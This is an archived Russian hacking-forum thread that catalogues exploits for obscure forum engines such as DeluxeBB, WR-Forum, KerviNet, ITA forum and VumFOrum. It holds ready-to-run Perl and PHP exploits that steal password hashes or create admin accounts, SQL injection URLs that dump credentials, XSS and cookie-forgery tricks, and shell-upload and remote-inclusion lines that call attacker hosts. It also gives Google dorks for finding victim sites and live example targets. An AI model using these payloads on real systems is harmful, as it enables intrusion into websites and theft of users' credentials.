Просмотр полной версии : [Обзор уязвимостей в форумных движках]
[Обзор уязвимостей в форумных движках]
----------------------------------------------------------------
Так же обратите внимание на темы:
[Обзор уязвимостей Ipb] (http://forum.antichat.ru/thread15678.html)
[Обзор уязвимостей phpBB] (http://forum.antichat.ru/thread24488.html)
[Обзор уязвимостей vBulletin] (http://forum.antichat.ru/threadnav22852-1-10.html)
[Обзор уязвимостей Ikonboard] (http://forum.antichat.ru/thread26024.html)
[Обзор Уязвимостей Yabb] (http://forum.antichat.ru/thread26606.html)
[Обзор уязвимостей myBB] (http://forum.antichat.ru/thread27777.html)
[Обзор уязвимостей Phorum] (http://forum.antichat.ru/thread27224.html)
[Обзор уязвимостей Woltlab Burning Board + Lite] (https://forum.antichat.ru/thread43961.html)
[ Обзор уязвимостей miniBB ] (http://forum.antichat.ru/thread52944.html)
Обзор уязвимостей PunBB (http://forum.antichat.ru/showthread.php?t=58530)
Обзор уязвимостей IceBB (http://forum.antichat.ru/thread58591.html)
[Обзор уязвимостей XMBForum] (http://forum.antichat.ru/showthread.php?p=694420)
----------------------------------------------------------------
Эти темы так же могут быть вам полезны:
Бэкдорим форумы. Теория и практика! (http://forum.antichat.ru/threadnav23612-1-10.html)
[FAQ + полезные ссылки] (http://forum.antichat.ru/thread18152.html)
- в этой теме вы сможете найти ответы на наиболее частые вопросы.
----------------------------------------------------------------
В этой теме будут выкладываться уязвимости, разных не очень популярных форумных движков.
----------------------------------------------------------------
Форум: DeluxeBB
Версия: <= 1.06
Уязвимость в сценарие misc.php, из за недостаточной обработки данных в параметре name можно осуществить SQL инъекцию.
misc.php?sub=profile&name=0')+UNION+SELECT+1,concat(database(),char(58) ,version(),char(58),user()),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Пароль пользователя:
misc.php?sub=profile&name=0')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+ from+deluxebb_users+where+uid=1/*
где uid= - номер пользователя
Эксплойт:
#!/usr/bin/perl
# coded by k1b0rg
use LWP::UserAgent;
use strict;
my $site=$ARGV[0];
my $id=$ARGV[1];
my $browser = LWP::UserAgent->new() or die;
my $res=$browser->get($site.'misc.php?sub=profile&name=0\')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 +from+deluxebb_users+where+uid='.$id.'/*');
if($res->content=~m!<font class="misctext">([a-f0-9]{32})</font>!i)
{
print 'Hash for userid='.$id.': ['.$1.']';
}
else
{
print 'Exploit failed.';
}
Использование эксплойта:
путь к эксплойту сайт и путь до форума номер пользователя
c:\expl.pl http://site.com/forum/ 1
Сайт и путь до форума писать слитно:
http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта
Резултат работы эксплойта - хеш (md5) пароля выбранного пользователя.
Пример уязвимости:
http://82.212.43.253/c_forum/misc.php?sub=profile&name=0')+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Уязвимость под относительно старые форумы - всетреить такие можно не часто, особенно если учесть что сами движки форумов не сильно распространены.
------------------------------------------------------------------
Форум: DeluxeBB
Версия: <= 1.06
Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.
Уязвимых сценариев несколько:
http://site.com/templates/deluxe/postreply.php?templatefolder=[file]
http://site.com/templates/deluxe/posting.php?templatefolder=[file]
http://site.com/templates/deluxe/pm/newpm.php?templatefolder=[file]
http://site.com/templates/default/postreply.php?templatefolder=[file]
http://site.com/templates/default/posting.php?templatefolder=[file]
http://site.com/templates/default/pm/newpm.php?templatefolder=[file]
При проверки узявимости
http://site.com/templates/deluxe/postreply.php?templatefolder=123
вылезала ошибка из которой было видно что к строке добавляеться /posticons.php (т.е. в результате строка выглядела 123/posticons.php), что отлично исправляеться добавлением к строке %00, т.е. в результате запрос долже выглядить так:
http://site.com/templates/deluxe/postreply.php?templatefolder=[file]%00
Форум: DeluxeBB
Версия: <= 1.07
Для этой версии есть эксплойт для получения админских привилегий.
Эксплойт:
#!/usr/bin/perl
# DeluxeBB <= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net
use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
$host = $ARGV[0];
$uname = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;
print q(
################################################## #########
# DeluxeBB <= 1.07 Create Admin Exploit #
# www.hackerz.ir - www.h4ckerz.com #
################### Coded By Hessam-x #####################
);
if (@ARGV < 3) {
print " # usage : hx.pl [host&path] [uname] [pass]\n";
print " # E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n";
exit();
}
print " [~] User/Password : $uname/$passwd \n";
print " [~] Host : $host \n";
print " [~] Login ... ";
# Login In DeluxeBB <= 1.07 Create Admin Exploit
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post($url.'misc.php',
Content => [
"sub" => "login",
"name" => "$uname",
"password" => "$passwd",
"submit" => "Log-in",
"redirect" => "",
"expiry" => "990090909",
],);
if($cookie_jar->as_string =~ /memberpw=(.*?);/) {
print "successfully .\n";
} else {
print "UNsuccessfully !\n";
print " [-] Can not Login In $host !\n";
print $cookie_jar->as_string;
exit();
}
# Creat Admin :)
$req = $xpl->get($url.'cp.php?sub=settings&xemail=h4x0r@h4x0r.net&xhideemail=0
&xmsn=h4x0r\',membercode=\'5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=
English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12
&invisiblebrowse=0&markposts=15&submit=Update');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin Cp/) {
print " [+] You Are Admin Now !!";
} else {
print " [-] Exploit Failed !";
}
# milw0rm.com [2006-06-25]
Использование эксплойта:
путь к эксплойту сайт и путь до форума ваш логин ваш пароль
c:\expl.pl http://site.com/forum/ grey 123123
Сайт и путь до форума писать слитно:
http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта
Резултат работы эксплойта - получение админских привилегий.
------------------------------------------------------------------
Форум: DeluxeBB
Версия: <= 1.9
Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.
На этот раз уязвим сценарий sig.php.
<?php
if($settings['smilies']=='on')
{
include($templatefolder.'/smilies.php');
}
?>
Из кода видно что для инклюда необходимо вывполнение условия $settings['smilies']=='on', а так же наличие %00, т.к. к строке будет добавляться /smilies.php.
В результате:
http://site.com/templates/deluxe/cp/sig.php?settings[smilies]=on&templatefolder=[file]%00
где [file] - файл, который будет инклюдиться, а settings[smilies]=on присвоение переменной необходимого для инклюда значения.
Форум: WR-Форум
Версия: 1.8
Стандартный пароль который изначально стоит на форуме (на админку /admin.php) - admin. Конечно врятли что его не сменили но всё таки попробывать можно.
Есть несколько активных XSS.
В профиле в полях:
1. Откуда - скрипт будет срабатывать при просмотре страницы Участники.
2. Домашняя страничка - скрипт будет срабатывать при просмотре страницы Участники.
3. Подпись - скрипт будет срабатывать при просмотре сообщений в темах.
Вводим <script>alert();</script>
4. При регистрации создаём пользователя с именем <script>alert();</script> - почти на каждой странице будет срабатывать ваш код.
Куки пользователя выглядят примерно так:
wrfcookies=Grey%7C123%7C1176741104%7C1176741104%7C
%7C123%7C1176741104%7C1176741104%7C - это аски коды, если представить как символы то получиться, такая строка:
|123|1176741104|1176741104|
где |123| - пароль пользователя
Куки админа выглядят так:
frcookies=1%7Cadmin%7C1176740994%7C
Опять же если представить аски коды как символы то получиться:
1|admin|1176740994|
где |admin| - пароль к админ-центру
Видно что пароли не только не шифруються, но и храняться в куках, имею активную xss достать куки будет не сложно.
------------------------------------------------------------
Заливка шелла:
http://forum.antichat.ru/showpost.php?p=380128&postcount=18
------------------------------------------------------------
Скачать форум можно здесь: http://wr-script.ru/
Для поиска сайтов с таким форумом вводим: Powered by WR-Forum
Кстати сайтов с таким форумом не так уж и мало:
__http://www.google.ru/search?hl=ru&q=Powered+by+WR-Forum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=
Форум: RonForum
Версия: v30
Доступ в админку:
Если открыть файл admin.php и посмотреть его содержимое, то можно встретить такую строку:
if(isset($entrance) and $entrance=="1")
Эта строка идёт после проверки пароля вводе пароля, содержимого куков, но изначально никакого значения эта переменная не имеет, ей только присваиваеться значение в случае, если пароль введён правильно.
Переходим в админку:
http://site.com/from/admin.php
Теперь присваиваем переменной entrance необходимое значение 1:
http://site.com/from/admin.php?entrance=1
Теперь вы в админке, но есть не большой минус: при переходе по любой ссылке, значение переменной будет утеряно, что бы этого не случилось смотрим адрес ссылки, к примеру:
http://site.com/from/admin.php?what=moderators
и добавляем к ней необходмиое значение:
http://site.com/from/admin.php?entrance=1&what=moderators
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Copyright © Kwasnikov R.P
------------------------------------------------------------
------------------------------------------------------------
Форум: ParkerForum
Версия: 0.01
Активная XSS
В поле Сайт, при создание новой темы вводим <script>alert();</script> - скрипт будет выплняться при просмотре главной страницы форума, а так же при просмотре темы.
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Copyrights (C) by ademan
------------------------------------------------------------
------------------------------------------------------------
Форум: Древообразный форум
Версия: 1.0
Активная XSS
Уязвимы поля Name и Subject.
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Скрипт предоставлен www.chemport.ru
Horsekiller
17.04.2007, 12:30
tForum <= b0.915
Форум малораспространённый, но всё же.
Активная XSS в поле "Message".
http://www.target/path/message.php
Вставляем в поле "Message":
javascript:alert(document.cookie)
В кукисах сессия, логин.
Ссылка для поиска в Google:
_http://www.google.ru/search?hl=ru&newwindow=1&q=Powered+by%3A+tForum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
Форум: KerviNet
Версия: 1.1
Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.
Сценарий topic.php.
Уязвим параметр forum.
------------
$mysql->query("SELECT name FROM forums WHERE id_forum = ".$forum);
Параметр передаёться, как есть, без какой либо фильтрации.
------------
Делаем запрос к базе данных:
topic.php?forum=-1+union+select+1/*
Таблица с пользователями:
topic.php?forum=-1+union+select+1+from+users/*
Вывод логина, пароля и мыла пользователя:
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users/*
В результате запроса получаем: 1:TEST:123:grey@site.ru
где 1 - номер пользователя, TEST - имя пользователя, 123 - пароль пользователя, заметьте пароль храниться в незашифрованном виде, grey@site.ru - мыло пользователя
char(58) - это символ ':' который в нашем случае служит разделителем.
Перебор пользователей:
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+0,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+1,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+2,1/*
http://site.com/forum/topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+0,1/*
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Copyright KerviNet © 2005-2007
------------------------------------------------------------
------------------------------------------------------------
Форум: XMB
Версия: 1.5
Активная XSS
Уязвим параметр MSN.
При регистрации пользователя в поле MSN вводим <script>alert();</script>, скрипт будет срабатывать при просмотре профиля пользователя.
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Powered by XMB
Форум: ITA forum
Версия: 1.21
Версия: 1.31
Версия: 1.49
Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.
Сценарий showforum.php.
Уязвим параметр fid.
------------
$trs = mysql_query("SELECT forumtitle, locked FROM itaf_forum WHERE forumid = '$fid'");
Параметр передаёться, как есть, без какой либо фильтрации.
------------
Делаем запрос к БД и в результате получам имя и хеш (mysql4) пароля пользователя:
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+0,1/*
Перебираем пользователей:
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+1,1/*
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58 ),user_name,char(58),user_pass),2+from+itaf_user+l imit+2,1/*
------------
Для удобства написал небольшой слойт, который выдирает хеш пользователя (id пользователя задаёться):
<?php
// coded by Grey
if($argc == 4)
{
$a = file('http://'.$argv[1].$argv[2].'showforum.php?fid=\'+union+select+user_pass,2+fr om+itaf_user+where+id='.$argv[3].'/*');
for($i = 0; $i < count($a); $i++)
{
if(eregi("[a-f0-9]{16,16}",$a[$i],$b))
{
echo("\n");
echo($b[0]);
echo("\n");
$t = 1;
break;
}
}
if($t != 1) { echo("Exploit failed"); }
}
else
{
echo("\n");
echo('Usage: '.$argv[0].' site dir user_id');
echo("\n");
echo('Usage: '.$argv[0].' site.ru /forum/ 1');
echo("\n");
}
?>
Использование сплойта:
php c:\exp.php site dir user_id
php c:\exp.php site.ru /forum/ 1
site - сайт
dir - директория с форумом
user_id - номер пользователя
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Powered By: V1.21
Для поиска сайтов с таким форумом вводим: Powered By: V1.31
Для поиска сайтов с таким форумом вводим: Powered By: V1.49
К сожалению можно встретить и пропатченную версию, в которой эта уязвимость исправленна.
------------------------------------------------------------
------------------------------------------------------------
Другие уязвимости:
1. Форум: ITA forum
Версия: 1.31 (возможно и другие версии)
Версия: 1.49 (возможно и другие версии)
Пассивная XSS:
http://site.ru/search.php?Submit=true&search="><script>alert(123);</script>
2. Форум: ITA forum
Версия: 1.49 (возможно и другие версии)
SQL инъекция:
http://site.ru/showuser.php?uid='+union+select+1,concat(user_name ,char(58),user_pass),3,4,5,6,7,8,9,10,11,12,13,14, 15+from+itaf_user/*
Форум: Board
Версия: 2.0
1. SQL инъекция
Сценарий view_all_topic.php.
Уязвим параметр m_id.
------------
$sql2="select m_id as reply,name,email,msg,date_format(m_date,'%d.%m.%Y %T') as date, subject from $dbtable where r_id =$m_id order by date";
$result=mysql_query($sql2,$db);
Параметр передаёться, как есть, без какой либо фильтрации.
------------
Делаем запрос к БД в результате, логин, пароль (пароль не зашифрован) и мыло пользователя:
http://site.ru/forum/view_all_topic.php?m_id=-1+union+select+concat(id,char(58),name,char(58),pa ssword,char(58),email),2,3,4,5+from+board000_users/*
2. Пасивная XSS
В поиске вводим <script>alert();</script> - скрипт выпольнится.
3. Активная XSS
При создание темы/сообщения вписываем в поле заголовка сообщения или в текст сообщения <script>alert();</script> - скрипт будет выпольняться при ответе на данное сообщение/тему.
4. Возможность заходить от любого пользователя, без ввода пароля.
Смотрим содержимое куков:
board_user_cook=qwerty; board_user_id=3
board_user_cook - имя пользователя
board_user_id - номер пользователя
Теперь меняем эти значения:
К примеру есть пользователь max и его номер 1:
board_user_cook=max; board_user_id=1
Всё теперь вы пользователь max.
------------
В Опере значение куков менять так:
Инструменты - Дополнительно - Cookies
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Copyright ° CarLine 2002г.
Не смотря на то, что форум старый сайтов с таким форумом достаточно много.
------------------------------------------------------------
------------------------------------------------------------
Форум: ReForum
Версия: 1.0
SQL инъекция
Уязвим параметр viewth.
http://site.ru/forum/?viewth=2
http://site.ru/forum/index.php?viewth=2
------------------------------------------------------------
Форум: Trofimov forum
Версия: v1.2
Активная XSS в поле Имя.
Скрипт срабатывает после добавления темы (страница forum.php).
------------------------------------------------------------
------------------------------------------------------------
Форум: TROforum
Версия: 0.3
Из-за не коректной обработки параметров, можно войти в админку имея только пароль:
if ($password != "$admin_login" && $password != "$admin_password")
Как видно из этой строки войти в админку можно имея вместо пароля логин.
Изначально логин - login.
Но перед этим условием стоит условие:
if ($password != "$admin_login" && $password != "$admin_password")
Само условие не верно, т.к. оно звучит так: Если Логин И Пароль не верны, то прекратить выполнение скрипта.
Из условия следует, что если только логин или пароль будет неверным, то работу скрипта прекращать не следует.
Имя только логин (а его угадать проще(login, admin или просто имя админа)), можно получить полный доступ к админке:
http://site.ru/forum/admin/admin.php?login=login&password=login
Таким образом переменным login и password присваиваются необходимые для входа значения.
Но здесь всё проще - файл настроек не требует авторизации:
http://site.ru/forum/admin/update.php
А именно в этом файле хранятся Логин и Пароль, сменить которые не составит труда.
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Powered by: TROforum 0.3
Форум: pHpAS
Версия: 1.26
1. Активная XSS.
1) При ответе в теме в поля Title и Name вставляем скрипт <script>alert();</script>.
Скрипт будет выполняться при про смотре коментариев.
2) При создание темы (/admin - пароль здесь не нужен) в полях Title и Text вводим <script>alert();</script>.
Скрипт будет выполнятся как на странице admin/index.php так и на /index.php.
2. SQL инъекция.
Уязвимость в сценарие show.php в параемтре id.
http://site.ru/forum/show.php?id=-1+union+select+1,2,3,4/*
Не смотря на то, что на форуме нет пользователей, сама sql инъекция даёт возможность обращаться к другим таблицам (к примеру к таблицам, используемым движком сайта).
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Powered By: pHpAS 1.26
------------------------------------------------------------
------------------------------------------------------------
Форум: electrifiedForum
Версия: v1.70
1. Пасивная XSS.
http://site.ru/forum/index.php?action=displaythread&forum=chat&id=<script>alert();</script>
Есть еще одна но, она будет выполняться только с админскими привилегиями:
http://site.ru/forum/index.php?action=userinfo&user=<script>alert();</script>
2. Активная XSS.
1) В личке в поле Subject пишем <script>alert();</script>, скрипт будет выполняться при просмотре личной почты.
2) В профиле в подписе (Signature) пишем <script>alert();</script>, скрипт будет выполняться при просмотре сообщений на форуме.
3) На форуме при создание темы в поле Title пишем <script>alert();</script>, скрипт будет выполняться при ответе на сообщение.
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: Powered By electrifiedForum v1.70
Форум: He11.net Forums
Версия: 1.0
1. Пасивная XSS.
http://site.ru/forum/index.php?top_message=<script>alert();</script>
2. SQL инъекция.
1) http://site.ru/forum/profile.php?id=-1+union+select+1,concat(id,char(58),username,char( 58),password,char(58),uncrypt_pass),3,4,5,6,7,8,9, 10,11,12+from+Dragon_users/*
в результате получаем строку вида:
1:grey:202cb962ac59075b964b07152d234b70:123
В базе данных хранится и зашифрованный пароль (md5) и пароль в чистом виде.
2) http://site.ru/forum/view_thread.php?id=-1+union+select+1,2,3,4,concat(id,char(58),username ,char(58),password,char(58),uncrypt_pass),6,7,8,9+ from+Dragon_users/*
------------------------------------------------------------
Для поиска сайтов с таким форумом вводим: "View Today's Active Topics"
Пример уязвимого форума:
__http://sims2.h10.ru/forum/profile.php?id=-1+union+select+1,concat(id,char(58),username,char( 58),password,char(58),uncrypt_pass),3,4,5,6,7,8,9, 10,11,12+from+Dragon_users/*
------------------------------------------------------------
------------------------------------------------------------
Форум: UBB Threads
Версия: 5.5
Пассивная XSS:
http://site.ru/showprofile.php?Cat=&User=<script>alert();</script>
Активная XSS:
При создание сообщения на форуме в поле Сообщение вписываем скрипт, скрипт будет выполняться при просмотре темы.
Заливка шелла:
Заходим в админку - Includes, редактируем (вписываем шелл) любой из файлов (Header, Footer и т.д.).
Шелл будет доступен по адресу:
http://site.ru/includes/header.php
Форум FastBB 9.20
1. Возможности писать в закрытые темы.
Необходимо зайти в закрытую тему, в адресной строке поменять №1 на №6 - и
попадаешь на страницу создания сообщения. Пишешь сообщение, отправляешь и оно
появляется в теме.
Форум: Ultimate PHP Board
Необходимо зарегестрироватся.Регестр руемся и запоминаем что мы написали.
Теперь самое интересное - использование уязвимости. Баг в форуме в том что у всех зарегестрированных пользователей есть права на просмотр файлов:
_http://www.forum.de/forum/admin.php - панель администратора.
_http://www.forum.de/forum/admin_forum.php - администрирование форумами.
_http://www.forum.de/forum/admin_members.php - позволяет редактировать пользователей.
_http://www.forum.de/forum/admin_config.php - панель настройки форума.
Идем на _http://www.forums.de/forum/admin_members.php и перед нами список пользователей. Ставим себе права админа, перезаходим, удаляем бывших админов и форум ваш! ;)
Форум: Anyboard все версии
Локальный инклуд файлов в параметре vf
Например на сайте производителя:
http://www.anyboard.net/cgi-bin/anyboard.cgi/rec/Party_and_Poultry_Information_Exchange/-=ab=-/index.html?cmd=retr&vf=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4 vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D
______________________________________________
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
http://www.google.ru/search?q=inurl:?cmd=retr
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
alias:x:500:500::/var/qmail/alias:/bin/bash
qmaild:x:501:500::/var/qmail:/bin/bash
qmaill:x:502:500::/var/qmail:/bin/bash
qmailp:x:503:500::/var/qmail:/bin/bash
qmailq:x:504:501::/var/qmail:/bin/bash
qmailr:x:505:501::/var/qmail:/bin/bash
qmails:x:506:501::/var/qmail:/bin/bash
vpopmail:x:507:502::/home/vpopmail:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
exim:x:93:93::/var/spool/exim:/sbin/nologin
________________________________________________
XSS уязвимость на Intellect Board 2.12
Была найдена XSS уязвимость в форумном движке Intellect Board 2.12.
Устранение: Обновить скрипты.
Уязвимость: можно в качестве адреса домашней страницы или ЖЖ поставить javascript:. А дальше - классическая XSS: перехватываем идентификатор сессии админа и влезаем в АЦ. Правда, сделать это не так уж и просто: по умолчанию там выполняется привязка сессии к HTTP_USER_AGENT, да и время жизни сессии ограничено несколькими часами.
ExBB
Описание:Баг из-за недостаточной проверки подключаемых файлов в скрипте usertstop.php
Эксплоит : http://sitename.com/[Script Path]/modules/userstop/userstop.php?exbb[home_path]=http://yourshell
VistaBB <= 2.x
Описание:Баг в проверке передаваемого юзером поля Cookie в HTTP-запросе
Позволяет выполнять произвольные команды
Эксплоит : http://milw0rm.com/exploits/2251
Woltlab Burning Board 2.3.5
Описание:Баг в модуле links.php приводит к выполнению произвольных sql-запросов
Эксплоит : http://milw0rm.com/exploits/2197
Эксплоит : http://milw0rm.com/exploits/1810
MiniBB <=1.5
Описание:Через уязвимый скрипт com_minibb.php можно загрузить шелл на уязвимую машину
Эксплоит : http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?
MyBB < 1.1.3
Описание:Эксплоит позволяет выполнять произвольные команды на сервера
Эксплоит :http://milw0rm.com/exploits/1909
PHORUM 5
Описание:Эксплоит работает с register_globals=On и magic_quotes_gpc=Off
Эксплоит : http://milw0rm.com/exploits/2008
UBB Threads
1.UBBThreads 5.x,6.x
Описание:Работает с register_globals on
Уязвимый скрипт ubbt.inc.php позволяет просматривать файлы на сервере
2.UBB.threads >= 6.4.x
Описание:Баг в скрипте голосования позволяет выполнять произвольные команды через скрипт атакующего
Эксплоит : */addpost_newpoll.php?addpoll=preview&thispath=http://[attacker]/cmd.gif?&cmd=id
Zix Forum
Описание:Передаваемый параметр "layid" недостаточно проверяется в скрипте 'settings.asp' что приводит к sql-inj
Эксплоит : site.com/zix/login.asp?layid=-1%20union%20select% 201,null,null,1,1,1,1,null,1,1,J_User,null,1,1,1,1 ,1,J_Pass,null,null,null,null,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,null%20from%20adminLog ins where approve=1 and '1'='1'
Эксплоит : site.com/zix/main.asp?layid=-1%20union%20select% 201,null,null,null,1,1,1,null,1,1,J_User,null,1,1, 1,1,1,J_Pass,null,null,null,nu
ll,1,1,1,1,1,1,1,1,1,1,1,1,1,null,null%20from%20ad minLogins where approve=1 and '1'='1'
qjForum
Описание:Недостаточная обработка поля "uName" в скрипте 'member.php'
Для выполнения эксплоита надо залогиниться на форум
Эксплоит : http://target/[path]/member.asp?uName='union%20select%200,0,0,username, 0,0,pd,email,0,0,0,0,0,0,0,0,0,0,0,0%20from%20memb er
tinyBB <= 0.3
Описание:Ошибка в скрипте 'footers.php',позволяющая залить шелл
Эксплоит : http://[victim]/[tBBPath]/footers.php?tinybb_footers=http://yourhost.com/cmd.txt?
FunkBoard
Описание:Уязвимость в скрипте profile.php позволяет сменить пасс выбранного юзера
Эксплоит : http://milw0rm.com/exploits/1875
QBoard <= v.1.1
Описание:Ошибка в скрипте 'post.php',позволяющая залить шелл
Эксплоит : http://www.site.com/[QBoard_path]/board/post.php?qb_path=[evil_scripts]
FlashBB <= 1.1.5
Описание:Ошибка в скрипте 'getmsg.php',позволяющая залить шелл
Эксплоит : http://milw0rm.com/exploits/1921
LiteForum 2.1.1
Описание:Эксплоит-переборщик хеша пароля
Эксплоит : http://rst.void.ru/download/r57lite211.txt
Forum Russian Board 4.2
Описание:Выполнение произвольных команд через уязвимый скрипт 'admin/style_edit.php'
Эксплоит : http://rst.void.ru/download/r57frb.txt
OpenBB 1.0.5
Описание:SQL-иньекция через нефильтруемый параметр CID
Эксплоит : http://rst.void.ru/download/r57openbb.txt
Gravity Board X v1.1
Описание:Выполнение произвольных команд через уязвимый скрипт 'editcss.php'
Эксплоит : http://rst.void.ru/download/r57gravity.txt
Zorum forum
Описание:выполнение SQL-иньекции через нефильтруемый параметр 'rollid'
Эксплоит : http://rst.void.ru/download/r57zor.txt
Форум: WR-Форум
Версия: 1.8
------------------------------------------------------------
Про уязвимости форума читать тут:
http://forum.antichat.ru/showpost.php?p=339251&postcount=4 - (активные XSS)
------------------------------------------------------------
Заливка шелла (через админку):
Заходим в админку -> Настройки, в поле Описание (или в поле Е-майл администратора) вписываем код шелла следующим образом:
";?> <? Код шелла ?> <? //
к примеру сделам вывод строки 123123:
";?> <? echo(123123); ?> <? //
Шелл будет доступен по адресу:
http://site.ru/forum/config.php
При внедрение кода работа форума нарушена не будет.
Форум: VumFOrum
Версия: v2.5
Пасcивная XSS:
http://site.ru/?forum=profile&user=<script>alert();</script>
Активная XSS:
1) В поле Сообщение вводим скрипт, скрипт будет выполняться при просмотре темы.
2) При регистрации пользователя в поле Url вводим текст скрипта, скрипт будет выполняться при просмотре профиля пользователя.
Заливка шелла:
Способ 1:
При создание темы/сообщения прикрепляем файл - шелл.
Шелл будет доступен по адресу:
http://site.ru/upload/shell.php
Способ 2:
При регистрации на форуме, в поле Имя введите ../shell.php, в поле пароль и его подтверждение введите 1, в поле Mail 1@1, в поле Url введите код шелла (к примеру <? echo(1); ?>).
Шелл будет доступен по адресу:
http://site.ru/shell.php
Если прав на заливку шелла в эту директорию не хватит, то можно попробывать залить шелл в директорию upload:
При регистрации на форуме, в поле Имя введите ../upload/shell.php, в поле пароль и его подтверждение введите 1, в поле Mail 1@1, в поле Url введите код шелла (к примеру <? echo(1); ?>).
Шелл будет доступен по адресу:
http://site.ru/upload/shell.php
Форум: SMDS Forum
Версия: v.2.1 rus
Локальный инклуд:
http://site.ru/Files/all_forums.php?file_read_forums=[file]
http://site.ru/Files/write_log.php?file_read_logs=[file]
http://site.ru/Files/statistic.php?file_read_statistic=[file]
http://site.ru/Files/downloads.php?file_read_downl=[file]
http://site.ru/Files/downloads.php?file_add_downloads=[file]
Пассивные XSS:
http://site.ru/Files/buttons.php?forum_ext=1&language=<script>alert();</script>
http://site.ru/Files/downloads.php?td_all=<script>alert();</script>
http://site.ru/Files/downloads.php?table_all=<script>alert();</script>
http://site.ru/Files/faq.php?vars[your_email]=<script>alert();</script>
[B]Заливка шелла:
